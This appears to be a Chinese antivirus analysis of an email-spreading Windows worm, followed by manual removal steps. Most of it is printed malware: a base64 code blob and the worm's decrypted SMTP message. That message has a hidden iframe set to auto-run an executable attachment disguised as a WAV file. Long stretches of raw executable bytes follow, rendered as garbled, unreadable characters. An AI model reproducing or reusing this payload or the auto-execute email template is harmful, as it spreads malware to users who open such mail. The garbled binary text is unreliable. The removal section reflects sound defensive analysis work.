svNz/vPogDoBAAAAMbz03dYagD/EAvAdFeL2OgEAAAAmMLRd1hqBVP/EAvAdEKL2OgEAAAAruLRd1+B7AAQAABUaAAQAABqDVP/
F4HEABAAAAvAdRtUaAAQAABqDFP/F0aD5gd1CoHEAAEAAMnCBADoBAAAAEIkgHxYaPQBAAD/EOlR////6cgAAACLXQiB7AABAAC
L/OgIAAAAUnVub25jZQBeaAABAADoBAAAAOb1bnlYVFdqAGoAVlP/EFjoBAAAALj/bnlYagBqAGoEagBT/xDoBAAAAEHobnlYaA
ABAABXagFqAFZT/xDr0enIAAAA6AQAAACtaeh3WP91CGoAaP8PHwD/EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk
OgEAAAAKnXod1hqAVH/EMnCBADpyAAAAGBQDwFMJP5Yg8AYixiLUAToCwAAAGCJGIlQBPzzpGHP+maPAGaPQAaLdQiLfQyLTRDM
+2HJwgwA6cgAAABgi0UIagBQUGoA/5aQAAAAYcnCBAAAAAAAAAAAAMMAAAAAAAAAAAAAAAAAAAA=
经解密得到数据: HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO:
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#"
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name="pp.exe"
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP �@ ????L?悙This program must be run under Win32 $7PEL ?饨巵 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`桄 媡$ ?ah @瞄Y? 佹?��f?MZu?穨< ox 颡] ?缷谟?@? GetProcAddress^3杀 趮骢]$ ??C媇 迡 ?迊禳孅壌$鑎 嬮V�嬐怩�$?USER32.DLL�婶�嬮V�嬐怩�$?ADVAPI32.DLL�婶�嬮V�嬐怩�$?MPR.DLL�婶鑌嬮V�嬐怩�$?WSOCK32.DLL�婶鑭嬮V�嬐怩嬼�ChineseHacker-2jj� � 缨 涕� j P� 鑘 嬼?嬼h`�D腼閅钑 ? 崅 ?? 岯-悙悏 鉴 楮 岯;悙悏 鑦 梏 崅?枸 岯-悙悏 ? 枭 岯;悙悏 鐴 媶h`P�d凐�V鐹^?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP� 霚Y枭 鑊 殍_媶墖?媶墖 媶墖& 婩D墖f 崌?PTjPPjj�t嬝X媶h`P�dPjS�xX凐� 涕V?^胭Y鐼 柁閅鐰 侅 T桁 孅j W�p凐� 嬝鑵 jjS�XjxPW�8S�@a陕 槿`侅 孅h W� �4 稧< ??囋f?PE 吷崯 稯 I兠(恹;?嚤婫(+C r# C jP� � --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name="pp.exe" Content-Transfer-Encoding: base64 Content-id: THE-CID X孅W� W� P� �湅鐗E鼇 a婨??`荅鐰ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/^媫 婾 菱 3?拦 燕S� ?Jt C怙? �轿余? �?M=?廓a婨?QRV媢 婱 嬔陵 ? 鲅�谊� 耝ZY陕 XQ??閐g�dg??�?�閄???dg?YY��堽 Z瞄?柩��衢Y婨 増3郎?鑗 MZP � @ " ?
¬???L?悙This program must be run under Win32 $7圥E L ?饨 巵 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P��?%00@��0 80 00 F0 F0 KERNEL32.dll Sleep� 0��?G 缨 P嬆j PS�8X腱 ?G?QP嬆j PS�8XY怦胝瞄侅 3鰦黤? ?f鲳�??釆 B纔麒 发送消息?企觲Xj�缨W嬝?樎褀Xj S�缨B嬝?褀_侅 Th j S�伳 纔 Th j S�F冩u 伳 陕 ?B$�Xh?�镼��葖] 侅 孅?Runonce^h ?骢nyXTWjjVS�X??nyXjjj jS�?A鑞yXh Wj jVS�胙槿?璱鑧X� jh�¬�缨,嬝?存wXj��Y兞 悙愯 *u鑧Xj Q�陕 槿`P L$兝 ?婸 ?`?埘 销ff廆 媢 媫 婱 帖a陕 槿`婨 jPPj�恒陕
解密之后发现该内容为PE可执行文件,病毒调用系统自带的Outlook Express发送恶意邮件,病毒利用发送恶意邮件来传播自身。
注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。
%Windir% WINDODWS所在目录
%DriveLetter%逻辑驱动器根目录
%ProgramFiles%系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% Documents and Settings当前用户Local SettingsTemp
%System32% 系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:WinntSystem32
windows95/98/me中默认的安装路径是%WINDOWS%System
windowsXP中默认的安装路径是%system32%
清除方案1、使用安天防线可彻底清除此病毒(推荐)。
2、手工清除请按照行为分析删除对应文件,恢复相关系统设置。
(1)开机按F8启动到安全模式,使用ATOOL“进程管理”
强行删除以下病毒文件
%System32%KillEDLL.DLL
%System32%MSWBPROTECT.DLL
%System32%
unouce.exe
%Program Files%Common FilesMicrosoft SharedStationery
eadme.eml
%Program Files%Common FilesSystemado
eadme.eml
%Program Files%NetMeeting
eadme.eml
(2)删除病毒添加的服务
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRunonce
删除Run键值下的Runonce主键值